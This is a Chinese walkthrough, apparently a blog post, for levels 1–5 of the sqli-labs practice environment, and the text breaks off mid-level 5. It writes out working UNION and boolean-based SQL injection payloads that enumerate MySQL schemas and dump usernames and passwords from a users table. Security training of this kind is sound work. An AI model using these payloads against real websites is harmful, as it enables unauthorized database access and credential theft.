• Sqli-labs-master通关解析(持续更新中。。。)


    大多情况下:SQL注入其实就是构造正确的mysql命令,让网页回显本不应该让我们看到的数据(如用户的账号和密码)。

    第一关-联合查询注入
    • 查库

    // 查看当前页面在的数据库
    
    ?id=-1' union select 1,2,database();--+
    //一个一个的查
    ?id=-1' union select 1,2,  schema_name from information_schema.schemata limit 1,1; --+
    //查看所有数据库
    ?id=-1' union select 1,2,  group_concat(schema_name)  from information_schema.schemata; --+
    
    • 查表

    //一个一个的查
    ?id=-1' union select 1,2, table_name  from information_schema.tables where table_schema=0x7365637572697479 limit 1,1; --+
    //查所有表
    ?id=-1' union select 1,2, group_concat(table_name)  from information_schema.tables where table_schema=0x7365637572697479; --+
    
    • 查字段

    //一个一个的查
    ?id=-1' union select 1,2, column_name from information_schema.columns where table_name=0x7573657273 limit 1,1;--+
    //查所有字段
    ?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273;--+
    
    • 查值

    //一个一个的查
    ?id=-1' union select 1,username,password from security.users limit 1,1;--+
    //查所有值
    ?id=-1' union select 1,2, group_concat( concat_ws(0x7e,username,password) ) from security.users ;--+
    
    √ 解析
    • 原理
      当我们传入参数id=1时,其实在后台执行的代码是
      SELECT * FROM users WHERE id='1' LIMIT 0,1;
      以查库为例,在mysql中我们要想知道当前我们所处的数据库名称会用database()函数,数据库会返回当前所在库名
      那么我们怎么让网页返回的值是我们想要其他的的值呢?
      显然我们要在输入1的位置做文章
      ?id=1'--+ (其中的单引号‘ ' ’用来闭合id,--+注释符把后面的命令注释掉)
      这样可以执行成功,此时后台执行的代码是
      SELECT * FROM users WHERE id='1';--+' LIMIT 0,1;
      --+后面的语句被注释已失效,显然SELECT * FROM users WHERE id='1';是一条完整且正确的命令

    • 开始构造
      我们采用联合查询语句继续构造
      输入
      ?id=-1' union select 1,2,database();--+
      显然数据的id是从1开始编写的,id=-1肯定不存在,默认返回‘执行后面的命令获得的数据’
      此时后台执行
      SELECT * FROM users WHERE id='-1' union select 1,2,database();--+' LIMIT 0,1;
      显然SELECT * FROM users WHERE id='-1' union select 1,2,database();是一条完整且正确的命令
      但是当我们注入某个网站时,用户的账号密码不一定就在‘网页当前所在数据库’里啊。其他的数据库名字我又不知道在怎么办?
      查!
      同样的我们构造
      ?id=-1' union select 1,2, schema_name from information_schema.schemata limit 1,1; --+ //一个一个的查
      这是一条通用命令,即查询数据库中所有库的名字
      limit 1,1表示从第一条数据开始数,下一条数据
      当然也可以
      limit 1,2 第三条数据
      limit 1,3 第四条数据
      ...
      从而遍历出所有数据

    • 什么?太麻烦了
      我们可以用grup_concat()一次查出所有数据,显然limit 1,1就没用了--> 扔掉!
      用法:把查的内容用函数包裹即可
      ?id=-1' union select 1,2, group_concat(schema_name) from information_schema.schemata; --+
      接着,同样的道理
      查表
      查字段
      (略)...

    第二关-联合查询注入
    id的闭合方式变为
    
    id= 1         
      
    
    第三关-联合查询注入
    id的闭合方式变为
    
     
    id= (' 1 ')        
      
    
    第四关-联合查询注入

    id的闭合方式变为

    
    id= (" 1 ")            
           
    
    第五关-BOOL型注入
    • 方法一

    
    ?id = 1 ' and  left( ( database() ), 1  ) = 'a' ;--+     
    
    

    database() 部分换做

    查库

    select schema_name from information_schema.schemata limit 1,1

    查表

    select table_name from information_schema.tables limit 1,1

    查字段

    select table_name from information_schema.columns limit 1,1

    查数据

    select password from security.users limit 1,1

    • 方法二

  • 相关阅读:
    Django —— DateTimeField格式
    Django——权限组件(中间件判断用户权限--URL初级)
    linux命令
    性能测试--测试分类
    web安全之csrf攻击
    web安全之xss攻击
    测试用例规范
    禅道操作手册
    fiddler弱网测试
    Web测试系列之测试工具
  • 原文地址:https://www.cnblogs.com/hugboy/p/12910426.html
Copyright © 2020-2023  润新知